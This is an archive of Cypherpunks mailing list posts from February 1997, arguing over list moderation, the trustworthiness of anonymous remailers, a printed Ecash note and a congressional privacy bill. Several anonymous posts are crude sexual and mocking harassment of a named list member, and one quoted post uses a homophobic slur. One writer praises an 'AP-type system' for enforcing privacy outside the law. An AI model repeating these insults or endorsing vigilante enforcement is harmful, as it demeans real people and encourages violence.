Emacs/PGP interface iQCVAwUBMvq83i/fy+vkqMxNAQH/tQP/fSgEQ8K0BQcwTJxnaF7aKg1LzNshMdey A8MH67Uv8zfv9cQTD0+g/JO4x64Ina5ZcMqn4IoHNOybqfvrR4ZepDLa+SsX2hhU 2xdmgf452OEhVpjSYoNnDMKoKAUUbfIlApu7W/9M/Ecx3vbT0cq4dxVF2zzcmJsy nhEPFe2iSc4= =v84p -----END PGP SIGNATURE----- From tcmay at got.net Thu Feb 6 21:37:12 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 6 Feb 1997 21:37:12 -0800 (PST) Subject: anonymous remailers In-Reply-To: <199702070441.UAA09107@toad.com> Message-ID: Why was this message (attached below) sent to the "Flames" list? (*) It contains an assertion that the remailer operators are colluding to reveal identities, and this is surely a fit topic for discussion. (* I have temporarily subscribed to the Flames list to see just what it is being filtered or censored by Sandy. I received this message, and it had the header "Sender: owner-cypherpunks-unedited at toad.com," thus I surmise it is a "Flames" message. It would help, by the way, if messages were more clearly labelled by the Moderator as to which bucket he placed them in.) While I don't believe this assertion about collusion by the remailer operators is true, generally, this claim is clearly: 1. Not a flame, but an assertion of opinion. 2. Possibly not true, but it is not the job of the Moderator to decide on truth. 3. Dealing with an important issue, to wit, the willingness (putatively) of some remailer operators to talk amongst themselves to deal with "problems." (If this is not a meaningful and important topic for the Cypherpunks list to discuss, then what is?) Here's the message: At 10:22 PM -0500 2/6/97, Dr.Dimitri Vulis KOTM wrote: >c.musselman at internetmci.com (Charley Musselman) writes: > >> C'punks -- >> When I told a friend about the alt.drugs.pot cultivation newsgroup >> and suggested that he use an anonymous remailer to post to the group, >> he laughed and said, "Who do you suppose runs the remailers? ATF, >> FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does >> anyone know the answer? Specifically, how can we choose a trusted >> remailer? > >Even if the feds are not directtly involved, the so-called "cypher punk" >remailers are run by people who should not be trusted. Check out their >remailer-operators list: it's full of announcements that some specific >person posted something via the remailer that the operator didn't like. > >--- > >Dr.Dimitri Vulis KOTM >Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at huge.cajones.com Thu Feb 6 22:01:39 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 6 Feb 1997 22:01:39 -0800 (PST) Subject: Dr. Denning Message-ID: <199702070601.WAA16910@mailmasher.com> Dimwit Vermin is a pimply dweeb sitting at a computer chortling at his own imagined cleverness. _<_ (_|_( Dimwit Vermin \-._|_,-, `-----' From declan at well.com Thu Feb 6 22:06:15 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 6 Feb 1997 22:06:15 -0800 (PST) Subject: Govt & cyberspace Message-ID: I find your "distributed democracy" interesting, except that it would allow scant time for deliberation. Think of it this way: don't you think the majority of Americans would have voted to pass the CDA? Or worse? Or restrictions on domestic crypto? Or worse? Democracy generally means majoritarian rule. The Bill of Rights is an anti-majoritarian document. It protects the rights of political or religious minorities. I fear that electronic "click here to vote" democracy would undermine the Bill of Rights even more. -Declan --- Dale Thorn writes: I wish for once and for all someone would delineate this "democracy" thing from a true, distributed democracy, where every individual is required to participate equally, and no narrow interests can co-opt the vote the way they do in the kind of "democracy" Declan mentions. Wouldn't it be better when people mention a one-word political philosophy such as democracy, that they make the definition more precise by using two or three words instead? From nobody at squirrel.owl.de Thu Feb 6 22:47:06 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Thu, 6 Feb 1997 22:47:06 -0800 (PST) Subject: remailer-operators DEA agents? Message-ID: <19970207054708.10191.qmail@squirrel.owl.de> Dr.Dimitri Vulis KOTM wrote: > c.musselman at internetmci.com (Charley Musselman) writes: > > C'punks -- > > When I told a friend about the alt.drugs.pot cultivation newsgroup > > and suggested that he use an anonymous remailer to post to the group, > > he laughed and said, "Who do you suppose runs the remailers? ATF, > > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > > anyone know the answer? Specifically, how can we choose a trusted > > remailer? > > Even if the feds are not directtly involved, the so-called "cypher punk" > remailers are run by people who should not be trusted. Check out their > remailer-operators list: it's full of announcements that some specific > person posted something via the remailer that the operator didn't like. Examples, please? From mhw at wittsend.com Thu Feb 6 22:55:47 1997 From: mhw at wittsend.com (Michael H. Warfield) Date: Thu, 6 Feb 1997 22:55:47 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702070655.WAA12863@toad.com> zinc enscribed thusly: > The following message is a courtesy copy of an article > that has been posted as well. > -----BEGIN PGP SIGNED MESSAGE----- > hi, > i came in today to find they (university system admins) had pulled the > plug on my machine. this is all because some luser spammed usenet > using the remailer on my machine. thanks a lot. Yeah? Did you find his ass? Kindly forward the coordinates of the body so we can desecrate the corpse! > so, the lead remailer is gone for good; it lasted almost exactly one > year. > it was nice while it lasted. Never used it but it is always sad to see the passing of a network resource due to the abuse by cretins with all the morals of an alley cat in heat... > - -patrick finerty > biochem grad student, u of utah > - -- > "Those that give up essential liberty to obtain a little temporary > safety deserve neither liberty nor safety." -- Benjamin Franklin (1773) > finger zinc-pgp at zifi for PGP key > zifi runs LINUX 2.0.28 -=-=-=WEB=-=-=-> http://zifi.genetics.utah.edu > > -----BEGIN PGP SIGNATURE----- > Version: 2.6.2 > Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface > > iQCVAwUBMvqXqE3Qo/lG0AH5AQHsQgP+LJFyMCrYnackXVZqMuDRt2vgliYeWh2L > 6i3IgfCqMSxfScyLFQXMP7cRJT1oNWFEilmcBLURWOqK/hy4sAufRaNKNw/rvcOE > 4qYFyxm3IDwF3vqdgDnaj5LWISWxaVrglHL8wNKNBQDr1Eq6XVZiqYPT5UC00klt > clfXhusEPPg= > =0fse > -----END PGP SIGNATURE----- Mike -- Michael H. Warfield | (770) 985-6132 | mhw at WittsEnd.com (The Mad Wizard) | (770) 925-8248 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471 | possible worlds. A pessimist is sure of it! From tcmay at got.net Thu Feb 6 22:55:56 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 6 Feb 1997 22:55:56 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702070655.WAA12884@toad.com> Cypherpunks, My posting seem to be going into Limbo, being sent neither to the Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks Hell. At least this is how things now appear. I sent the message below to the list this morning (Thursday) at 8:43 a.m. PST. As of tonight, 12 hours later, I haven't seen it on either the Singapore Web site--last archived 30 minutes ago--or on the "Flames" list to which I have temporarily subscribed (to see what Sandy counts as a "flame"). Has anyone else seen it? I've looked, but there's always a chance I somehow spaced out and missed it. (I doubt it though.) If I have missed it, despite carefully scanning for it for the past 8-12 hours, my apologies. If it has not appeared on either the Censored list or the Flames list, then something is rotten in the state of Denmark. By the way, I noted that many of the messages which appeared at the Singapore Web archive site have dates much later than mine, including several dated at least 8-10 hours after my message. Likewise, some of the Flames messages are dated much later than my message. (Bill Stewart got a message through dated Thu, 06 Feb 1997 16:06:06 -0800, Mark Henderson got one through at Thu, 6 Feb 1997 15:56:19 PST, and so on. One would thus have thought that my message, dated Thu, 6 Feb 1997 08:43:35 -0800, would by now either have been approved and hence on the Censored list, or rejected as unfit for Cypherpunks to sully their neurons with, and hence passed on to the Flames list. By the way, some of the "Flames" messages are also dated late afternoon or evening.) So, is my message just sitting around someplace, awaiting some final decision? What's the basis of this decision? (Perhaps Sandy has "kicked it upstairs" to John for him to decide on? Just a hypothesis....) I will repeat my message below. As you will be able to see, my message contains no "flames" of its own, and the messages it quotes do not seem flamish to me, either. (It is true that Vulis uses the phrase "Limey faggots," in reference to beer-serving habits, but he does not directly insult any list members with this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will be blocked from their usual characterizations of Congresscritters and NSA stooges.) I think a delay of greater than 11 hours in being distributed on one of the two lists (even if my message is sent out in the next hour or so) is unacceptable. If a moderator cannot get to traffic in the order in which it was received and disposition it promptly, he or she has no business being a moderator of a high-volume list. (Eric Blossom's and Ray Arachelian's "best of" compilations are a different matter, for reasons discussed many times here.) So, why hasn't this message appeared on one of the two lists? --Tim May >Date: Thu, 6 Feb 1997 08:43:35 -0800 >To: cypherpunks at toad.com >From: "Timothy C. May" >Subject: Re: Moderation [Tim,Sandy] >Cc: >Bcc: >X-Attachments: > > >I decided to subscribe only to the "cypherpunks flames" list, just to see >what was being filtered into it. > >The message below is one example of what is going there. I received it, >and the header includes the line: "Sender: >owner-cypherpunks-unedited at toad.com", so I am surmising that it was indeed >filtered into the flames list. > >Now, admittedly, the _content_ of this kind of post is "off-topic," but I >sure don't see any evidence of _flames_. > >Is Sandy now filtering based on his notions of list relevance, and not >just on the basis of insults, jabs, flames, and "lack of comity"? While >lack of relevance may be a criterion for someone to filter by, it doesn't >square with anything I recall Sandy citing, and it introduces a new and >dimension to the debate. > >--Tim May > >(The entire post is included, to ensure that no one claims I am editing >out any flames, insults, etc.) > > >At 11:06 PM -0800 2/5/97, Dale Thorn wrote: >>Dr.Dimitri Vulis KOTM wrote: >>> Dale Thorn writes: >> >>> > > > The drunk can be excluded, but when someone wants to use the drunk as >>> > > > an example to escalate the exclusion to other persons who are not in >>> > > > fact drunk, watch out! >> >>> > > If I get really really drunk, which happens very seldom, then I'm >>> > > too drunk to post. I don't mind an occasional beer, though. >> >>> > > Oksas, have you ever tried beer? :-) >> >>> > I had my first beer(s) in three years at one of those industrial >>> > parties last night. It made the craps table action seem a bit >>> > merrier, and the girls were friendlier too. >> >>> I like an occasional Coors Lite. BTW I think Limey Faggots are right about >>> one think: I like room-temperature beer better than cold beer. YMMV. >> >>Interesting coincidence for people on opposite coasts - the bar at >>the hotel had two choices: Bud regular and Coors light. I took the >>Coors. > > > > > Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at huge.cajones.com Thu Feb 6 23:10:56 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 6 Feb 1997 23:10:56 -0800 (PST) Subject: Dr. Denning Message-ID: <199702070710.XAA13617@toad.com> Dimwit Vermin is a pimply dweeb sitting at a computer chortling at his own imagined cleverness. _<_ (_|_( Dimwit Vermin \-._|_,-, `-----' From nobody at squirrel.owl.de Thu Feb 6 23:10:59 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Thu, 6 Feb 1997 23:10:59 -0800 (PST) Subject: remailer-operators DEA agents? Message-ID: <199702070710.XAA13629@toad.com> Dr.Dimitri Vulis KOTM wrote: > c.musselman at internetmci.com (Charley Musselman) writes: > > C'punks -- > > When I told a friend about the alt.drugs.pot cultivation newsgroup > > and suggested that he use an anonymous remailer to post to the group, > > he laughed and said, "Who do you suppose runs the remailers? ATF, > > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > > anyone know the answer? Specifically, how can we choose a trusted > > remailer? > > Even if the feds are not directtly involved, the so-called "cypher punk" > remailers are run by people who should not be trusted. Check out their > remailer-operators list: it's full of announcements that some specific > person posted something via the remailer that the operator didn't like. Examples, please? From jeremey at veriweb.com Thu Feb 6 23:11:05 1997 From: jeremey at veriweb.com (Jeremey Barrett) Date: Thu, 6 Feb 1997 23:11:05 -0800 (PST) Subject: World's first Ecash note Message-ID: <199702070711.XAA13643@toad.com> -----BEGIN PGP SIGNED MESSAGE----- The world's first Ecash note has been printed! A USD 0.01 note made out to anyone can be found at: http://www.veriweb.com/people/jeremey/ecash/1_cent.html The data portion of the note is a PDF417 2-D barcode, containing a standard ecash payment of 1 US cent. The source code for the general PDF417 encoding and the ecash conversion will be published as soon as I clean it up and come up with a somewhat nicer interface. The PDF417 code should be useful for non-ecash stuff as well, it will encode anything. I will be bringing a bunch of notes to the bay-area cypherpunks meeting Saturday. Suggestions/comments appreciated. - -- =-----------------------------------------------------------------------= Jeremey Barrett VeriWeb Internet Corp. Senior Software Engineer http://www.veriweb.com/ PGP Key fingerprint = 3B 42 1E D4 4B 17 0D 80 DC 59 6F 59 04 C3 83 64 =-----------------------------------------------------------------------= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface iQCVAwUBMvq83i/fy+vkqMxNAQH/tQP/fSgEQ8K0BQcwTJxnaF7aKg1LzNshMdey A8MH67Uv8zfv9cQTD0+g/JO4x64Ina5ZcMqn4IoHNOybqfvrR4ZepDLa+SsX2hhU 2xdmgf452OEhVpjSYoNnDMKoKAUUbfIlApu7W/9M/Ecx3vbT0cq4dxVF2zzcmJsy nhEPFe2iSc4= =v84p -----END PGP SIGNATURE----- From declan at well.com Thu Feb 6 23:11:43 1997 From: declan at well.com (Declan McCullagh) Date: Thu, 6 Feb 1997 23:11:43 -0800 (PST) Subject: Govt & cyberspace Message-ID: <199702070711.XAA13683@toad.com> I find your "distributed democracy" interesting, except that it would allow scant time for deliberation. Think of it this way: don't you think the majority of Americans would have voted to pass the CDA? Or worse? Or restrictions on domestic crypto? Or worse? Democracy generally means majoritarian rule. The Bill of Rights is an anti-majoritarian document. It protects the rights of political or religious minorities. I fear that electronic "click here to vote" democracy would undermine the Bill of Rights even more. -Declan --- Dale Thorn writes: I wish for once and for all someone would delineate this "democracy" thing from a true, distributed democracy, where every individual is required to participate equally, and no narrow interests can co-opt the vote the way they do in the kind of "democracy" Declan mentions. Wouldn't it be better when people mention a one-word political philosophy such as democracy, that they make the definition more precise by using two or three words instead? From sandfort at crl.com Thu Feb 6 23:11:46 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Thu, 6 Feb 1997 23:11:46 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Thu, 6 Feb 1997, Timothy C. May wrote: > My posting seem to be going into Limbo, being sent neither to > the Cypherpunks Heaven Sandy administers nor to the flames of > the Cypherpunks Hell. At least this is how things now appear. It doesn't look familiar. I don't have any idea what happened. Can anyone tell me if they saw it on the unedited list? That's where I would have read it. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From tcmay at got.net Thu Feb 6 23:11:47 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 6 Feb 1997 23:11:47 -0800 (PST) Subject: anonymous remailers Message-ID: <199702070711.XAA13689@toad.com> Why was this message (attached below) sent to the "Flames" list? (*) It contains an assertion that the remailer operators are colluding to reveal identities, and this is surely a fit topic for discussion. (* I have temporarily subscribed to the Flames list to see just what it is being filtered or censored by Sandy. I received this message, and it had the header "Sender: owner-cypherpunks-unedited at toad.com," thus I surmise it is a "Flames" message. It would help, by the way, if messages were more clearly labelled by the Moderator as to which bucket he placed them in.) While I don't believe this assertion about collusion by the remailer operators is true, generally, this claim is clearly: 1. Not a flame, but an assertion of opinion. 2. Possibly not true, but it is not the job of the Moderator to decide on truth. 3. Dealing with an important issue, to wit, the willingness (putatively) of some remailer operators to talk amongst themselves to deal with "problems." (If this is not a meaningful and important topic for the Cypherpunks list to discuss, then what is?) Here's the message: At 10:22 PM -0500 2/6/97, Dr.Dimitri Vulis KOTM wrote: >c.musselman at internetmci.com (Charley Musselman) writes: > >> C'punks -- >> When I told a friend about the alt.drugs.pot cultivation newsgroup >> and suggested that he use an anonymous remailer to post to the group, >> he laughed and said, "Who do you suppose runs the remailers? ATF, >> FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does >> anyone know the answer? Specifically, how can we choose a trusted >> remailer? > >Even if the feds are not directtly involved, the so-called "cypher punk" >remailers are run by people who should not be trusted. Check out their >remailer-operators list: it's full of announcements that some specific >person posted something via the remailer that the operator didn't like. > >--- > >Dr.Dimitri Vulis KOTM >Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From sandfort at crl.com Thu Feb 6 23:13:27 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Thu, 6 Feb 1997 23:13:27 -0800 (PST) Subject: anonymous remailers In-Reply-To: Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Thu, 6 Feb 1997, Timothy C. May wrote: > Why was this message (attached below) sent to the "Flames" list? (*) It > contains an assertion that the remailer operators are colluding to reveal > identities, and this is surely a fit topic for discussion. > > (* I have temporarily subscribed to the Flames list to see just what it is > being filtered or censored by Sandy. I received this message, and it had > the header "Sender: owner-cypherpunks-unedited at toad.com," thus I surmise it > is a "Flames" message. It would help, by the way, if messages were more > clearly labelled by the Moderator as to which bucket he placed them in.) Currently, there are three lists. It looks as though the message in question appeared on the Unedited list. This is NOT the same as the Flames list. I don't recall where I sorted that particular post to after I read it on the Unedited list. If it went to the "wrong" list, my apologies to the author. As I indicated before, I don't think a 100% solution is possible, but I think I'm running in the high 90s under the criteria I enunciated. Not perfection, but a definite improvement over the prior condition. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From azur at netcom.com Thu Feb 6 23:16:24 1997 From: azur at netcom.com (Steve Schear) Date: Thu, 6 Feb 1997 23:16:24 -0800 (PST) Subject: IEEE Communications Message-ID: A friend called this evening to let me know the February issue is dedicated to electronic cash and its implications. I'm no longer an IEEE member. If any of the various list members care to excerpt and comment on some of the more interesting portions, I'm sure it would be appreciated. --Steve From nobody at huge.cajones.com Thu Feb 6 23:27:35 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Thu, 6 Feb 1997 23:27:35 -0800 (PST) Subject: [PICS] forgery detection Message-ID: <199702070727.XAA01052@mailmasher.com> When Deadwood Vulgar K[arcass]OTM's mother gave birth to him after fucking with a bunch of sailors, she didn't know who the father was but decided to tell him that he was a Russian as the Russian sailor was the one who satisfied her the most. /\ \ / /\ //\\ .. //\\ Deadwood Vulgar K[arcass]OTM //\(( ))/\\ / < `' > \ From jimbell at pacifier.com Thu Feb 6 23:42:26 1997 From: jimbell at pacifier.com (jim bell) Date: Thu, 6 Feb 1997 23:42:26 -0800 (PST) Subject: Blessing in Disguise? (H.R. 98, the "Consumer Internet Privacy Protection Act of 1997") Message-ID: <199702070742.XAA07034@mail.pacifier.com> >--- begin forwarded text >Date: Thu, 6 Feb 1997 11:24:09 EST >Reply-To: Law & Policy of Computer Communications > >Sender: Law & Policy of Computer Communications > >From: "Jonathan I. Ezor" >Subject: Congressional Bill worse for 'Net than CDA? (crosspost) > >Sorry for the crossposting, but I felt this one might be important enough >to do it. The following is a shortened version of an article I've written >for my firm's client newsletter about H.R. 98, the "Consumer Internet >Privacy Protection Act of 1997", introduced by Rep. Bruce Vento (D. MN) on >January 7, 1997. [snip] > >Jonathan I. Ezor >New Media Attorney, Davis & Gilbert, 1740 Broadway, New York, NY 10019 >Tel: 212-468-4989 Fax: 212-468-4888 E-mail: jezor at newmedialaw.com >-----------------------------Cut here------------------------------- > >Congress Tackles Internet Privacy > Recently, there has been significant press coverage over real and >rumored revelations of personal information such as Social Security numbers by >online services, including the alleged availability (later shown to be untrue) >of mothers' maiden names and Social Security numbers on LEXIS' P-Trak database, >and various governmental bodies have held hearings on issues of online privacy. >On January 7, 1997, Representative Bruce F. Vento (D. MN) introduced the >"Consumer Internet Privacy Protection Act of 1997," (H.R. 98) This bill >provides that "an interactive computer service shall not disclose to a third >party any personally identifiable information provided by a subscriber to such >service without the subscriber's prior informed written consent." Gee, this sounds great! Sounds like it would become illegal for ISPs to "cooperate" (aka: getting strongarmed) by the local thugs (cops) to reveal information about subscribers. Except, as is so often the case, they seem to always figure out ways to explain that cooperation with cops was somehow not covered in the law above. One of the non-obvious dangers of having laws such as this apply to ISPs is that they increase the likelihood that legal force could be applied to them in order to get them to sell-out their customers. And, obviously, the average citizen isn't going to have a lot of luck getting these laws ENFORCED unless he has friends in the prosecutor's office. One of the numerous advantages of an AP-type system is that a person will be able to make a violation of his privacy a crime regardless of whether the powers-that-be agree. Also, he can enforce that "law" on anyone, including government agents, without the cooperation of the prosecutor. Jim Bell jimbell at pacifier.com From tcmay at got.net Thu Feb 6 23:59:56 1997 From: tcmay at got.net (Timothy C. May) Date: Thu, 6 Feb 1997 23:59:56 -0800 (PST) Subject: anonymous remailers In-Reply-To: Message-ID: At 11:06 PM -0800 2/6/97, Sandy Sandfort wrote: >Currently, there are three lists. It looks as though the message >in question appeared on the Unedited list. This is NOT the same >as the Flames list. Well, I only subscribe to the Flames list--there is no doubt about this. In any case, what is the meaning of a message going only to the "Unedited" list? A message that goes to the Unedited list but _not_ to the Flames list must surely go to the Main list, right? That is, MAIN list + FLAMES list = UNEDITED list Isn't this the way it works, that the Unedited list is the union of the MAIN and FLAMES lists, which are disjoint? So, since the Vulis message on anonymous remailers did not appear on the MAIN list, it must have appeared on the FLAMES list. >I don't recall where I sorted that particular post to after I >read it on the Unedited list. If it went to the "wrong" list, >my apologies to the author. As I indicated before, I don't think >a 100% solution is possible, but I think I'm running in the high >90s under the criteria I enunciated. Not perfection, but a >definite improvement over the prior condition. You keep saying this ("the list is better, the list is better, the list is better"). Repeating it enough may make it true, for you. In any case, my point is that there were no "flame" triggers in either of the messages you sent to the Flames list. Unless you are rejecting based on your opinion of the views expressed, these messages belong on the main list. Sandy, you are a sloppy moderator. An incompetent, in fact. Get better fast or knock off the pretense that you know better than we do what Cypherpunks are ready to read. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Fri Feb 7 00:03:11 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 00:03:11 -0800 (PST) Subject: remailer-operators DEA agents? In-Reply-To: <199702070710.XAA13629@toad.com> Message-ID: Again, I am only on the Flames list. So why was this message sent to the Flames list? Because someone responded to a Vulis post? Is a response to a Banned Message now grounds for rejection? Here's the message sent to the Flames pile. Although the anonymous author did not add much, neither the original message nor his/her one line response was a "flame" or "insult." Hence it should not have been rejected. At 5:47 AM +0000 2/7/97, Secret Squirrel wrote: >Dr.Dimitri Vulis KOTM wrote: >> c.musselman at internetmci.com (Charley Musselman) writes: >> > C'punks -- >> > When I told a friend about the alt.drugs.pot cultivation newsgroup >> > and suggested that he use an anonymous remailer to post to the group, >> > he laughed and said, "Who do you suppose runs the remailers? ATF, >> > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does >> > anyone know the answer? Specifically, how can we choose a trusted >> > remailer? >> >> Even if the feds are not directtly involved, the so-called "cypher punk" >> remailers are run by people who should not be trusted. Check out their >> remailer-operators list: it's full of announcements that some specific >> person posted something via the remailer that the operator didn't like. > >Examples, please? Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ichudov at algebra.com Fri Feb 7 00:07:34 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Fri, 7 Feb 1997 00:07:34 -0800 (PST) Subject: anonymous remailers In-Reply-To: Message-ID: <199702070734.BAA00348@manifold.algebra.com> [I am sending a copy of my article to Tim just to make sure] Sandy Sandfort wrote: > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > SANDY SANDFORT > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > > C'punks, > > On Thu, 6 Feb 1997, Timothy C. May wrote: > > > Why was this message (attached below) sent to the "Flames" list? (*) It > > contains an assertion that the remailer operators are colluding to reveal > > identities, and this is surely a fit topic for discussion. > > > > (* I have temporarily subscribed to the Flames list to see just what it is > > being filtered or censored by Sandy. I received this message, and it had > > the header "Sender: owner-cypherpunks-unedited at toad.com," thus I surmise it > > is a "Flames" message. It would help, by the way, if messages were more > > clearly labelled by the Moderator as to which bucket he placed them in.) > > Currently, there are three lists. It looks as though the message > in question appeared on the Unedited list. This is NOT the same > as the Flames list. > > I don't recall where I sorted that particular post to after I > read it on the Unedited list. If it went to the "wrong" list, > my apologies to the author. As I indicated before, I don't think I am attaching Vulis's posting below, so that the mistake could be corrected. Judging by the dates in the headers, it went to flames list in 3 seconds after arrival to toad.com. That makes me think that somehow it got routed there without human involvement. > a 100% solution is possible, but I think I'm running in the high > 90s under the criteria I enunciated. Not perfection, but a > definite improvement over the prior condition. I see three problems with the current state of the list: 1) There is no charter and no criteria that I am aware of, so your 90% statement is meaningless 2) Moderation policy has not been set (or voted upon) by the readers, therefore it was not optimised to serve the readers 3) Crypto-relevant posts, not containing any flames, get rejected. >From cypherpunks-errors at toad.com Thu Feb 6 22:20:35 1997 Return-Path: Received: (from root at localhost) by manifold.algebra.com (8.8.3/8.8.2) with UUCP id WAA12996; Thu, 6 Feb 1997 22:20:29 -0600 Received: from toad.com (toad.com [140.174.2.1]) by www.video-collage.com (8.8.5/8.8.0) with ESMTP id XAA01326; Thu, 6 Feb 1997 23:14:12 -0500 (EST) Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id UAA08550; Thu, 6 Feb 1997 20:13:50 -0800 (PST) Received: from uu.psi.com (uu.psi.com [38.9.86.2]) by toad.com (8.7.5/8.7.3) with SMTP id UAA08545; Thu, 6 Feb 1997 20:13:47 -0800 (PST) Received: by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via UUCP; id AA07700 for ; Thu, 6 Feb 97 23:07:09 -0500 Received: by bwalk.dm.com (1.65/waf) via UUCP; Thu, 06 Feb 97 22:24:48 EST for cypherpunks at toad.com To: cypherpunks at toad.com Subject: Re: anonymous remailers From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Comments: All power to the ZOG! Message-Id: Date: Thu, 06 Feb 97 22:22:05 EST In-Reply-To: <32fa39d8.16371604 at mail-relay.internetmci.com> Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y. Sender: owner-cypherpunks at toad.com Precedence: bulk Status: RO c.musselman at internetmci.com (Charley Musselman) writes: > C'punks -- > When I told a friend about the alt.drugs.pot cultivation newsgroup > and suggested that he use an anonymous remailer to post to the group, > he laughed and said, "Who do you suppose runs the remailers? ATF, > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > anyone know the answer? Specifically, how can we choose a trusted > remailer? Even if the feds are not directtly involved, the so-called "cypher punk" remailers are run by people who should not be trusted. Check out their remailer-operators list: it's full of announcements that some specific person posted something via the remailer that the operator didn't like. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From tcmay at got.net Fri Feb 7 00:23:06 1997 From: tcmay at got.net (Timothy C. May) Date: Fri, 7 Feb 1997 00:23:06 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: Message-ID: At 10:57 PM -0800 2/6/97, Sandy Sandfort wrote: >On Thu, 6 Feb 1997, Timothy C. May wrote: > >> My posting seem to be going into Limbo, being sent neither to >> the Cypherpunks Heaven Sandy administers nor to the flames of >> the Cypherpunks Hell. At least this is how things now appear. > >It doesn't look familiar. I don't have any idea what happened. >Can anyone tell me if they saw it on the unedited list? That's >where I would have read it. I reproduced the message in my message earlier tonight. Although there are no headers to show routing, since I sent it but never received it, I can assure you it was marked by Eudora as "Sent," and my ISP has reported no delivery problems of any sort. Thus, based on past experiences with thousands of such sendings, I surmise with great certainty that my message was mailed successfully to cypherpunks at toad.com. What happened to if after that I cannot say, but I suspect something related to the "Moderation" process, by Ockham's Razor. There seem to be more "lost" messages than before this "Moderation" thing began. I literally sent thousands of messages (maybe tens of thousands...) and cannot recall a "lost" message. Now, it's happened to me a couple of times that I can recall, and to at least some others, based on recent messages. I thought the basic equation was: UNEDITED = MAIN + FLAMES, with MAIN and FLAMES being disjoint. It's looking now more like: UNEDITED = 